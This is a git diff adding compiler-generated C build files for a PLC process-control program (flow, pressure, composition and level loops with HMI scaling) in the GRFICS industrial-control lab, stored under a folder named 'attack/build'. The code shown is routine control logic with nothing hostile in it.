__INIT_EXTERNAL(BOOL,RUN_BIT,data__->RUN_BIT,retain) + __INIT_VAR(data__->RUN_BIT0,__BOOL_LITERAL(TRUE),retain) + INITIALIZE_SP_init__(&data__->INITIALIZE_SP0,retain); + __INIT_VAR(data__->ADD87_OUT,0,retain) + __INIT_VAR(data__->GE91_OUT,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->MOVE92_ENO,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->MOVE92_OUT,0,retain) +} + +// Code part +void MAIN_body__(MAIN *data__) { + // Initialise TEMP variables + + __SET_VAR(data__->INITIALIZE_SP0.,EN,,__GET_VAR(data__->FIRST_RUN,)); + INITIALIZE_SP_body__(&data__->INITIALIZE_SP0); + if (__GET_VAR(data__->INITIALIZE_SP0.ENO,)) { + __SET_VAR(data__->,FIRST_RUN,,__BOOL_LITERAL(FALSE)); + }; + if (__GET_VAR(data__->INITIALIZE_SP0.ENO,)) { + __SET_VAR(data__->,FLOW_SET,,__GET_VAR(data__->INITIALIZE_SP0.FLOW_SP,)); + }; + if (__GET_VAR(data__->INITIALIZE_SP0.ENO,)) { + __SET_VAR(data__->,A_SETPOINT,,__GET_VAR(data__->INITIALIZE_SP0.A_SP,)); + }; + if (__GET_VAR(data__->INITIALIZE_SP0.ENO,)) { + __SET_VAR(data__->,PRESSURE_SP,,__GET_VAR(data__->INITIALIZE_SP0.PRESS_SP,)); + }; + if (__GET_VAR(data__->INITIALIZE_SP0.ENO,)) { + __SET_VAR(data__->,OVERRIDE_SP,,__GET_VAR(data__->INITIALIZE_SP0.OVER_SP,)); + }; + if (__GET_VAR(data__->INITIALIZE_SP0.ENO,)) { + __SET_VAR(data__->,LEVEL_SP,,__GET_VAR(data__->INITIALIZE_SP0.LEVEL_SP,)); + }; + __SET_VAR(data__->FLOW_CONTROL0.,PRODUCT_FLOW,,__GET_VAR(data__->PRODUCT_FLOW,)); + __SET_VAR(data__->FLOW_CONTROL0.,CURR_POS,,__GET_VAR(data__->F1_VALVE_POS,)); + __SET_VAR(data__->FLOW_CONTROL0.,FLOW_SET_IN,,__GET_VAR(data__->FLOW_SET,)); + FLOW_CONTROL_body__(&data__->FLOW_CONTROL0); + __SET_VAR(data__->,F1_VALVE_SP,,__GET_VAR(data__->FLOW_CONTROL0.NEW_POS,)); + __SET_VAR(data__->PRESSURE_CONTROL0.,PRESSURE,,__GET_VAR(data__->PRESSURE,)); + __SET_VAR(data__->PRESSURE_CONTROL0.,PRESSURE_SP,,__GET_VAR(data__->PRESSURE_SP,)); + __SET_VAR(data__->PRESSURE_CONTROL0.,CURR_POS,,__GET_VAR(data__->PURGE_VALVE_POS,)); + PRESSURE_CONTROL_body__(&data__->PRESSURE_CONTROL0); + __SET_VAR(data__->,PURGE_VALVE_SP,,__GET_VAR(data__->PRESSURE_CONTROL0.VALVE_POS,)); + __SET_VAR(data__->COMPOSITION_CONTROL0.,A_IN_PURGE,,__GET_VAR(data__->A_IN_PURGE,)); + __SET_VAR(data__->COMPOSITION_CONTROL0.,A_SETPOINT,,__GET_VAR(data__->A_SETPOINT,)); + __SET_VAR(data__->COMPOSITION_CONTROL0.,CURR_POS,,__GET_VAR(data__->F2_VALVE_POS,)); + COMPOSITION_CONTROL_body__(&data__->COMPOSITION_CONTROL0); + __SET_VAR(data__->,F2_VALVE_SP,,__GET_VAR(data__->COMPOSITION_CONTROL0.NEW_POS,)); + __SET_VAR(data__->PRESSURE_OVERRIDE0.,PRESSURE,,__GET_VAR(data__->PRESSURE,)); + __SET_VAR(data__->PRESSURE_OVERRIDE0.,CURR_SP,,__GET_VAR(data__->FLOW_SET,)); + __SET_VAR(data__->PRESSURE_OVERRIDE0.,OVERRIDE_SP,,__GET_VAR(data__->OVERRIDE_SP,)); + PRESSURE_OVERRIDE_body__(&data__->PRESSURE_OVERRIDE0); + __SET_VAR(data__->,FLOW_SET,,__GET_VAR(data__->PRESSURE_OVERRIDE0.PRODUCT_SP,)); + __SET_VAR(data__->LEVEL_CONTROL0.,LIQUID_LEVEL,,__GET_VAR(data__->LEVEL,)); + __SET_VAR(data__->LEVEL_CONTROL0.,LEVEL_SP,,__GET_VAR(data__->LEVEL_SP,)); + __SET_VAR(data__->LEVEL_CONTROL0.,CURR_POS,,__GET_VAR(data__->PRODUCT_VALVE_POS,)); + LEVEL_CONTROL_body__(&data__->LEVEL_CONTROL0); + __SET_VAR(data__->,PRODUCT_VALVE_SP,,__GET_VAR(data__->LEVEL_CONTROL0.NEW_POS,)); + __SET_VAR(data__->SCALE_TO_SIGNED0.,INPUT_UINT,,__GET_VAR(data__->PRESSURE,)); + SCALE_TO_SIGNED_body__(&data__->SCALE_TO_SIGNED0); + __SET_VAR(data__->,HMI_PRESSURE,,__GET_VAR(data__->SCALE_TO_SIGNED0.OUTPUT_INT,)); + __SET_VAR(data__->SCALE_TO_SIGNED1.,INPUT_UINT,,__GET_VAR(data__->LEVEL,)); + SCALE_TO_SIGNED_body__(&data__->SCALE_TO_SIGNED1); + __SET_VAR(data__->,HMI_LEVEL,,__GET_VAR(data__->SCALE_TO_SIGNED1.OUTPUT_INT,)); + __SET_VAR(data__->SCALE_TO_SIGNED2.,INPUT_UINT,,__GET_VAR(data__->F1_VALVE_POS,)); + SCALE_TO_SIGNED_body__(&data__->SCALE_TO_SIGNED2); + __SET_VAR(data__->,HMI_F1_VALVE_POS,,__GET_VAR(data__->SCALE_TO_SIGNED2.OUTPUT_INT,)); + __SET_VAR(data__->SCALE_TO_SIGNED3.,INPUT_UINT,,__GET_VAR(data__->F2_VALVE_POS,)); + SCALE_TO_SIGNED_body__(&data__->SCALE_TO_SIGNED3); + __SET_VAR(data__->,HMI_F2_VALVE_POS,,__GET_VAR(data__->SCALE_TO_SIGNED3.OUTPUT_INT,)); + __SET_VAR(data__->SCALE_TO_SIGNED4.,INPUT_UINT,,__GET_VAR(data__->PURGE_VALVE_POS,)); + SCALE_TO_SIGNED_body__(&data__->SCALE_TO_SIGNED4); + __SET_VAR(data__->,HMI_PURGE_VALVE_POS,,__GET_VAR(data__->SCALE_TO_SIGNED4.OUTPUT_INT,)); + __SET_VAR(data__->SCALE_TO_SIGNED5.,INPUT_UINT,,__GET_VAR(data__->PRODUCT_VALVE_POS,)); + SCALE_TO_SIGNED_body__(&data__->SCALE_TO_SIGNED5); + __SET_VAR(data__->,HMI_PRODUCT_VALVE_POS,,__GET_VAR(data__->SCALE_TO_SIGNED5.OUTPUT_INT,)); + __SET_VAR(data__->SCALE_TO_SIGNED6.,INPUT_UINT,,__GET_VAR(data__->F1_FLOW,)); + SCALE_TO_SIGNED_body__(&data__->SCALE_TO_SIGNED6); + __SET_VAR(data__->,HMI_F1_FLOW,,__GET_VAR(data__->SCALE_TO_SIGNED6.OUTPUT_INT,)); + __SET_VAR(data__->SCALE_TO_SIGNED7.,INPUT_UINT,,__GET_VAR(data__->F2_FLOW,)); + SCALE_TO_SIGNED_body__(&data__->SCALE_TO_SIGNED7); + __SET_VAR(data__->,HMI_F2_FLOW,,__GET_VAR(data__->SCALE_TO_SIGNED7.OUTPUT_INT,)); + __SET_VAR(data__->SCALE_TO_SIGNED8.,INPUT_UINT,,__GET_VAR(data__->PURGE_FLOW,)); + SCALE_TO_SIGNED_body__(&data__->SCALE_TO_SIGNED8); + __SET_VAR(data__->,HMI_PURGE_FLOW,,__GET_VAR(data__->SCALE_TO_SIGNED8.OUTPUT_INT,)); + __SET_VAR(data__->SCALE_TO_SIGNED9.,INPUT_UINT,,__GET_VAR(data__->PRODUCT_FLOW,)); + SCALE_TO_SIGNED_body__(&data__->SCALE_TO_SIGNED9); + __SET_VAR(data__->,HMI_PRODUCT_FLOW,,__GET_VAR(data__->SCALE_TO_SIGNED9.OUTPUT_INT,)); + __SET_VAR(data__->,ADD87_OUT,,ADD__UINT__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (UINT)__GET_VAR(data__->SCAN_COUNT,), + (UINT)1)); + __SET_VAR(data__->,SCAN_COUNT,,__GET_VAR(data__->ADD87_OUT,)); + __SET_VAR(data__->,GE91_OUT,,GE__BOOL__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (UINT)__GET_VAR(data__->SCAN_COUNT,), + (UINT)32000)); + __SET_VAR(data__->,MOVE92_OUT,,__MAIN_MOVE__UINT__UINT1( + (BOOL)__GET_VAR(data__->GE91_OUT,), + (UINT)0, + data__)); + if (__GET_VAR(data__->MOVE92_ENO,)) { + __SET_VAR(data__->,SCAN_COUNT,,__GET_VAR(data__->MOVE92_OUT,)); + }; + + goto __end; + +__end: + return; +} // MAIN_body__() + + + + + diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/POUS.h b/plc/GRFICS_Workstation_Docs/Documents/attack/build/POUS.h new file mode 100644 index 0000000..9c89adb --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/POUS.h @@ -0,0 +1,456 @@ +#include "beremiz.h" +#ifndef __POUS_H +#define __POUS_H + +#include "accessor.h" +#include "iec_std_lib.h" + +__DECLARE_ENUMERATED_TYPE(LOGLEVEL, + LOGLEVEL__CRITICAL, + LOGLEVEL__WARNING, + LOGLEVEL__INFO, + LOGLEVEL__DEBUG +) +// FUNCTION_BLOCK LOGGER +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(BOOL,TRIG) + __DECLARE_VAR(STRING,MSG) + __DECLARE_VAR(LOGLEVEL,LEVEL) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(BOOL,TRIG0) + +} LOGGER; + +void LOGGER_init__(LOGGER *data__, BOOL retain); +// Code part +void LOGGER_body__(LOGGER *data__); +// FUNCTION_BLOCK PYTHON_EVAL +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(BOOL,TRIG) + __DECLARE_VAR(STRING,CODE) + __DECLARE_VAR(BOOL,ACK) + __DECLARE_VAR(STRING,RESULT) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(DWORD,STATE) + __DECLARE_VAR(STRING,BUFFER) + __DECLARE_VAR(STRING,PREBUFFER) + __DECLARE_VAR(BOOL,TRIGM1) + __DECLARE_VAR(BOOL,TRIGGED) + +} PYTHON_EVAL; + +void PYTHON_EVAL_init__(PYTHON_EVAL *data__, BOOL retain); +// Code part +void PYTHON_EVAL_body__(PYTHON_EVAL *data__); +// FUNCTION_BLOCK PYTHON_POLL +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(BOOL,TRIG) + __DECLARE_VAR(STRING,CODE) + __DECLARE_VAR(BOOL,ACK) + __DECLARE_VAR(STRING,RESULT) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(DWORD,STATE) + __DECLARE_VAR(STRING,BUFFER) + __DECLARE_VAR(STRING,PREBUFFER) + __DECLARE_VAR(BOOL,TRIGM1) + __DECLARE_VAR(BOOL,TRIGGED) + +} PYTHON_POLL; + +void PYTHON_POLL_init__(PYTHON_POLL *data__, BOOL retain); +// Code part +void PYTHON_POLL_body__(PYTHON_POLL *data__); +// FUNCTION_BLOCK PYTHON_GEAR +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(UINT,N) + __DECLARE_VAR(BOOL,TRIG) + __DECLARE_VAR(STRING,CODE) + __DECLARE_VAR(BOOL,ACK) + __DECLARE_VAR(STRING,RESULT) + + // FB private variables - TEMP, private and located variables + PYTHON_EVAL PY_EVAL; + __DECLARE_VAR(UINT,COUNTER) + __DECLARE_VAR(UINT,ADD10_OUT) + __DECLARE_VAR(BOOL,EQ13_OUT) + __DECLARE_VAR(UINT,SEL15_OUT) + __DECLARE_VAR(BOOL,AND7_OUT) + +} PYTHON_GEAR; + +void PYTHON_GEAR_init__(PYTHON_GEAR *data__, BOOL retain); +// Code part +void PYTHON_GEAR_body__(PYTHON_GEAR *data__); +// FUNCTION_BLOCK SCALE_TO_REAL +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(UINT,RAW_INPUT_VALUE) + __DECLARE_VAR(REAL,SCALED_REAL) + __DECLARE_VAR(REAL,REAL_MAX) + __DECLARE_VAR(REAL,REAL_MIN) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(UINT,RAW_MAX) + __DECLARE_VAR(UINT,RAW_MIN) + __DECLARE_VAR(REAL,RATE) + __DECLARE_VAR(REAL,OFFSET) + +} SCALE_TO_REAL; + +void SCALE_TO_REAL_init__(SCALE_TO_REAL *data__, BOOL retain); +// Code part +void SCALE_TO_REAL_body__(SCALE_TO_REAL *data__); +// FUNCTION_BLOCK SCALE_TO_UINT +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(REAL,REAL_IN) + __DECLARE_VAR(UINT,UINT_OUT) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(REAL,DIV1_OUT) + __DECLARE_VAR(REAL,MUL4_OUT) + __DECLARE_VAR(UINT,REAL_TO_UINT6_OUT) + +} SCALE_TO_UINT; + +void SCALE_TO_UINT_init__(SCALE_TO_UINT *data__, BOOL retain); +// Code part +void SCALE_TO_UINT_body__(SCALE_TO_UINT *data__); +// FUNCTION_BLOCK COMPOSITION_CONTROL +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(UINT,A_IN_PURGE) + __DECLARE_VAR(UINT,A_SETPOINT) + __DECLARE_VAR(UINT,CURR_POS) + __DECLARE_VAR(UINT,NEW_POS) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(REAL,A_IN_PURGE_REAL) + __DECLARE_VAR(REAL,A_SETPOINT_REAL) + __DECLARE_VAR(REAL,VALVE_POS_REAL) + __DECLARE_VAR(REAL,POS_UPDATE_REAL) + __DECLARE_VAR(REAL,VALVE_POS_NOMINAL) + __DECLARE_VAR(REAL,COMPOSITION_K) + __DECLARE_VAR(REAL,COMPOSITION_TI) + __DECLARE_VAR(TIME,CYCLE_TIME) + SCALE_TO_REAL SCALE_TO_REAL3; + SCALE_TO_REAL SCALE_TO_REAL2; + SCALE_TO_UINT SCALE_TO_UINT0; + __DECLARE_VAR(REAL,COMP_MAX) + __DECLARE_VAR(REAL,COMP_MIN) + __DECLARE_VAR(REAL,POS_MAX) + __DECLARE_VAR(REAL,POS_MIN) + SCALE_TO_REAL SCALE_TO_REAL0; + __DECLARE_VAR(REAL,SUB45_OUT) + __DECLARE_VAR(REAL,MUL46_OUT) + __DECLARE_VAR(REAL,ADD42_OUT) + __DECLARE_VAR(REAL,LIMIT44_OUT) + +} COMPOSITION_CONTROL; + +void COMPOSITION_CONTROL_init__(COMPOSITION_CONTROL *data__, BOOL retain); +// Code part +void COMPOSITION_CONTROL_body__(COMPOSITION_CONTROL *data__); +// FUNCTION_BLOCK INITIALIZE_SP +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(UINT,FLOW_SP) + __DECLARE_VAR(UINT,A_SP) + __DECLARE_VAR(UINT,PRESS_SP) + __DECLARE_VAR(UINT,OVER_SP) + __DECLARE_VAR(UINT,LEVEL_SP) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(UINT,FLOW_SP_C) + __DECLARE_VAR(UINT,A_SP_C) + __DECLARE_VAR(UINT,PRESS_SP_C) + __DECLARE_VAR(UINT,OVER_SP_C) + __DECLARE_VAR(UINT,LEVEL_SP_C) + __DECLARE_VAR(UINT,MOVE3_OUT) + __DECLARE_VAR(UINT,MOVE7_OUT) + __DECLARE_VAR(UINT,MOVE11_OUT) + __DECLARE_VAR(UINT,MOVE15_OUT) + __DECLARE_VAR(UINT,MOVE19_OUT) + +} INITIALIZE_SP; + +void INITIALIZE_SP_init__(INITIALIZE_SP *data__, BOOL retain); +// Code part +void INITIALIZE_SP_body__(INITIALIZE_SP *data__); +// FUNCTION_BLOCK PRESSURE_CONTROL +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(UINT,PRESSURE) + __DECLARE_VAR(UINT,PRESSURE_SP) + __DECLARE_VAR(UINT,CURR_POS) + __DECLARE_VAR(UINT,VALVE_POS) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(REAL,PRESSURE_REAL) + __DECLARE_VAR(REAL,PRESSURE_SP_REAL) + __DECLARE_VAR(REAL,VALVE_POS_REAL) + __DECLARE_VAR(REAL,POS_UPDATE_REAL) + __DECLARE_VAR(REAL,VALVE_POS_NOMINAL) + __DECLARE_VAR(REAL,PRESSURE_K) + __DECLARE_VAR(REAL,PRESSURE_TI) + __DECLARE_VAR(TIME,CYCLE_TIME) + SCALE_TO_REAL SCALE_TO_REAL5; + SCALE_TO_REAL SCALE_TO_REAL4; + SCALE_TO_UINT SCALE_TO_UINT0; + __DECLARE_VAR(REAL,PRESSURE_MAX) + __DECLARE_VAR(REAL,PRESSURE_MIN) + __DECLARE_VAR(REAL,POS_MIN) + __DECLARE_VAR(REAL,POS_MAX) + SCALE_TO_REAL SCALE_TO_REAL0; + __DECLARE_VAR(REAL,SUB57_OUT) + __DECLARE_VAR(REAL,MUL60_OUT) + __DECLARE_VAR(REAL,SUB53_OUT) + __DECLARE_VAR(REAL,LIMIT55_OUT) + +} PRESSURE_CONTROL; + +void PRESSURE_CONTROL_init__(PRESSURE_CONTROL *data__, BOOL retain); +// Code part +void PRESSURE_CONTROL_body__(PRESSURE_CONTROL *data__); +// FUNCTION_BLOCK FLOW_CONTROL +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(UINT,PRODUCT_FLOW) + __DECLARE_VAR(UINT,NEW_POS) + __DECLARE_VAR(UINT,CURR_POS) + __DECLARE_VAR(UINT,FLOW_SET_IN) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(REAL,FLOW_K) + __DECLARE_VAR(REAL,FLOW_TI) + __DECLARE_VAR(REAL,FLOW_TD) + __DECLARE_VAR(REAL,PRODUCT_FLOW_REAL) + __DECLARE_VAR(TIME,CYCLE_TIME) + __DECLARE_VAR(REAL,POS_UPDATE_REAL) + __DECLARE_VAR(REAL,CURR_POS_REAL) + __DECLARE_VAR(REAL,FLOW_SET_REAL) + SCALE_TO_REAL SCALE_TO_REAL0; + SCALE_TO_REAL SCALE_TO_REAL1; + __DECLARE_VAR(REAL,FLOW_MAX) + __DECLARE_VAR(REAL,FLOW_MIN) + __DECLARE_VAR(REAL,POS_MIN) + __DECLARE_VAR(REAL,POS_MAX) + SCALE_TO_REAL SCALE_TO_REAL2; + SCALE_TO_UINT SCALE_TO_UINT0; + __DECLARE_VAR(REAL,SUB59_OUT) + __DECLARE_VAR(REAL,MUL60_OUT) + __DECLARE_VAR(REAL,ADD58_OUT) + __DECLARE_VAR(REAL,LIMIT40_OUT) + +} FLOW_CONTROL; + +void FLOW_CONTROL_init__(FLOW_CONTROL *data__, BOOL retain); +// Code part +void FLOW_CONTROL_body__(FLOW_CONTROL *data__); +// FUNCTION_BLOCK LEVEL_CONTROL +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(UINT,LIQUID_LEVEL) + __DECLARE_VAR(UINT,LEVEL_SP) + __DECLARE_VAR(UINT,CURR_POS) + __DECLARE_VAR(UINT,NEW_POS) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(TIME,CYCLE_TIME) + __DECLARE_VAR(REAL,LEVEL_K) + __DECLARE_VAR(REAL,LEVEL_TI) + SCALE_TO_REAL SCALE_TO_REAL0; + __DECLARE_VAR(REAL,LEVEL_MAX) + __DECLARE_VAR(REAL,LEVEL_MIN) + __DECLARE_VAR(REAL,POS_MAX) + __DECLARE_VAR(REAL,POS_MIN) + __DECLARE_VAR(REAL,LEVEL_REAL) + __DECLARE_VAR(REAL,POS_REAL) + __DECLARE_VAR(REAL,POS_UPDATE_REAL) + __DECLARE_VAR(REAL,SP_REAL) + SCALE_TO_REAL SCALE_TO_REAL1; + SCALE_TO_REAL SCALE_TO_REAL2; + SCALE_TO_UINT SCALE_TO_UINT0; + __DECLARE_VAR(REAL,SUB32_OUT) + __DECLARE_VAR(REAL,MUL33_OUT) + __DECLARE_VAR(REAL,SUB30_OUT) + __DECLARE_VAR(REAL,LIMIT25_OUT) + +} LEVEL_CONTROL; + +void LEVEL_CONTROL_init__(LEVEL_CONTROL *data__, BOOL retain); +// Code part +void LEVEL_CONTROL_body__(LEVEL_CONTROL *data__); +// FUNCTION_BLOCK SCALE_TO_SIGNED +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(UINT,INPUT_UINT) + __DECLARE_VAR(INT,OUTPUT_INT) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(UINT,DIV3_OUT) + __DECLARE_VAR(UINT,ABS8_OUT) + __DECLARE_VAR(INT,UINT_TO_INT9_OUT) + +} SCALE_TO_SIGNED; + +void SCALE_TO_SIGNED_init__(SCALE_TO_SIGNED *data__, BOOL retain); +// Code part +void SCALE_TO_SIGNED_body__(SCALE_TO_SIGNED *data__); +// FUNCTION_BLOCK PRESSURE_OVERRIDE +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(UINT,PRESSURE) + __DECLARE_VAR(UINT,CURR_SP) + __DECLARE_VAR(UINT,PRODUCT_SP) + __DECLARE_VAR(UINT,OVERRIDE_SP) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(REAL,PRESSURE_REAL) + __DECLARE_VAR(REAL,CURR_SP_REAL) + __DECLARE_VAR(REAL,PRODUCT_SP_REAL) + __DECLARE_VAR(REAL,SP_UPDATE) + __DECLARE_VAR(REAL,PRODUCT_SP_NOMINL) + __DECLARE_VAR(REAL,OVERRIDE_SP_REAL) + __DECLARE_VAR(REAL,OVERRIDE_K) + __DECLARE_VAR(REAL,OVERRIDE_TI) + __DECLARE_VAR(TIME,CYCLE_TIME) + SCALE_TO_REAL SCALE_TO_REAL7; + __DECLARE_VAR(REAL,PRESSURE_MAX) + __DECLARE_VAR(REAL,PRESSURE_MIN) + __DECLARE_VAR(REAL,FLOW_MAX) + __DECLARE_VAR(REAL,FLOW_MIN) + SCALE_TO_REAL SCALE_TO_REAL0; + __DECLARE_VAR(REAL,SUB86_OUT) + __DECLARE_VAR(REAL,MUL87_OUT) + __DECLARE_VAR(REAL,MAX84_OUT) + __DECLARE_VAR(REAL,ADD85_OUT) + __DECLARE_VAR(REAL,LIMIT67_OUT) + __DECLARE_VAR(REAL,DIV73_OUT) + __DECLARE_VAR(REAL,MUL75_OUT) + __DECLARE_VAR(UINT,REAL_TO_UINT79_OUT) + +} PRESSURE_OVERRIDE; + +void PRESSURE_OVERRIDE_init__(PRESSURE_OVERRIDE *data__, BOOL retain); +// Code part +void PRESSURE_OVERRIDE_body__(PRESSURE_OVERRIDE *data__); +// PROGRAM MAIN +// Data part +typedef struct { + // PROGRAM Interface - IN, OUT, IN_OUT variables + + // PROGRAM private variables - TEMP, private and located variables + FLOW_CONTROL FLOW_CONTROL0; + __DECLARE_VAR(BOOL,FIRST_RUN) + __DECLARE_VAR(UINT,FLOW_SET) + __DECLARE_VAR(UINT,A_SETPOINT) + __DECLARE_VAR(UINT,PRESSURE_SP) + __DECLARE_VAR(UINT,OVERRIDE_SP) + __DECLARE_VAR(UINT,LEVEL_SP) + COMPOSITION_CONTROL COMPOSITION_CONTROL0; + SCALE_TO_SIGNED SCALE_TO_SIGNED0; + __DECLARE_VAR(UINT,F1_VALVE_POS) + __DECLARE_VAR(UINT,F1_FLOW) + __DECLARE_VAR(UINT,F2_VALVE_POS) + __DECLARE_VAR(UINT,F2_FLOW) + __DECLARE_VAR(UINT,PURGE_VALVE_POS) + __DECLARE_VAR(UINT,PURGE_FLOW) + __DECLARE_VAR(UINT,PRODUCT_VALVE_POS) + __DECLARE_VAR(UINT,PRODUCT_FLOW) + __DECLARE_VAR(UINT,PRESSURE) + __DECLARE_VAR(UINT,LEVEL) + __DECLARE_VAR(UINT,A_IN_PURGE) + __DECLARE_VAR(UINT,B_IN_PURGE) + __DECLARE_VAR(UINT,C_IN_PURGE) + __DECLARE_VAR(UINT,F1_VALVE_SP) + __DECLARE_VAR(UINT,F2_VALVE_SP) + __DECLARE_VAR(UINT,PURGE_VALVE_SP) + __DECLARE_VAR(UINT,PRODUCT_VALVE_SP) + __DECLARE_VAR(UINT,PRODUCT_VALVE_SAFE) + __DECLARE_VAR(UINT,PURGE_VALVE_SAFE) + __DECLARE_VAR(UINT,F1_VALVE_SAFE) + __DECLARE_VAR(UINT,F2_VALVE_SAFE) + PRESSURE_CONTROL PRESSURE_CONTROL0; + __DECLARE_VAR(INT,HMI_PRESSURE) + __DECLARE_VAR(INT,HMI_LEVEL) + __DECLARE_VAR(INT,HMI_F1_VALVE_POS) + __DECLARE_VAR(INT,HMI_F1_FLOW) + __DECLARE_VAR(INT,HMI_F2_VALVE_POS) + __DECLARE_VAR(INT,HMI_F2_FLOW) + __DECLARE_VAR(INT,HMI_PURGE_VALVE_POS) + __DECLARE_VAR(INT,HMI_PURGE_FLOW) + __DECLARE_VAR(INT,HMI_PRODUCT_VALVE_POS) + __DECLARE_VAR(INT,HMI_PRODUCT_FLOW) + __DECLARE_VAR(UINT,SCAN_COUNT) + SCALE_TO_SIGNED SCALE_TO_SIGNED1; + SCALE_TO_SIGNED SCALE_TO_SIGNED2; + SCALE_TO_SIGNED SCALE_TO_SIGNED3; + SCALE_TO_SIGNED SCALE_TO_SIGNED4; + SCALE_TO_SIGNED SCALE_TO_SIGNED5; + SCALE_TO_SIGNED SCALE_TO_SIGNED6; + SCALE_TO_SIGNED SCALE_TO_SIGNED7; + SCALE_TO_SIGNED SCALE_TO_SIGNED8; + SCALE_TO_SIGNED SCALE_TO_SIGNED9; + PRESSURE_OVERRIDE PRESSURE_OVERRIDE0; + LEVEL_CONTROL LEVEL_CONTROL0; + __DECLARE_EXTERNAL(BOOL,RUN_BIT) + __DECLARE_VAR(BOOL,RUN_BIT0) + INITIALIZE_SP INITIALIZE_SP0; + __DECLARE_VAR(UINT,ADD87_OUT) + __DECLARE_VAR(BOOL,GE91_OUT) + __DECLARE_VAR(BOOL,MOVE92_ENO) + __DECLARE_VAR(UINT,MOVE92_OUT) + +} MAIN; + +void MAIN_init__(MAIN *data__, BOOL retain); +// Code part +void MAIN_body__(MAIN *data__); +#endif //__POUS_H diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/Res0.c b/plc/GRFICS_Workstation_Docs/Documents/attack/build/Res0.c new file mode 100644 index 0000000..0c22fe2 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/Res0.c @@ -0,0 +1,38 @@ +/*******************************************/ +/* FILE GENERATED BY iec2c */ +/* Editing this file is not recommended... */ +/*******************************************/ + +#include "iec_std_lib.h" + +// RESOURCE RES0 + +extern unsigned long long common_ticktime__; + +#include "accessor.h" +#include "POUS.h" + +#include "Config0.h" +__DECLARE_GLOBAL(BOOL,RES0,RUN_BIT) + +#include "POUS.c" + +BOOL MAINTASK; +MAIN RES0__INSTANCE0; +#define INSTANCE0 RES0__INSTANCE0 + +void RES0_init__(void) { + BOOL retain; + retain = 0; + __INIT_GLOBAL(BOOL,RUN_BIT,__INITIAL_VALUE(__BOOL_LITERAL(FALSE)),retain) + MAINTASK = __BOOL_LITERAL(FALSE); + MAIN_init__(&INSTANCE0,retain); +} + +void RES0_run__(unsigned long tick) { + MAINTASK = !(tick % 1); + if (MAINTASK) { + MAIN_body__(&INSTANCE0); + } +} + diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/Res0.o b/plc/GRFICS_Workstation_Docs/Documents/attack/build/Res0.o new file mode 100644 index 0000000..7d4d916 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/Res0.o Binary files differ diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/VARIABLES.csv b/plc/GRFICS_Workstation_Docs/Documents/attack/build/VARIABLES.csv new file mode 100644 index 0000000..e4bcf24 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/VARIABLES.csv @@ -0,0 +1,457 @@ +// Programs +0;CONFIG0.RES0.INSTANCE0;MAIN; + +// Variables +0;VAR;CONFIG0.RES0.RUN_BIT;CONFIG0.RES0.RUN_BIT;BOOL; +1;FB;CONFIG0.RES0.INSTANCE0;CONFIG0.RES0.INSTANCE0;MAIN; 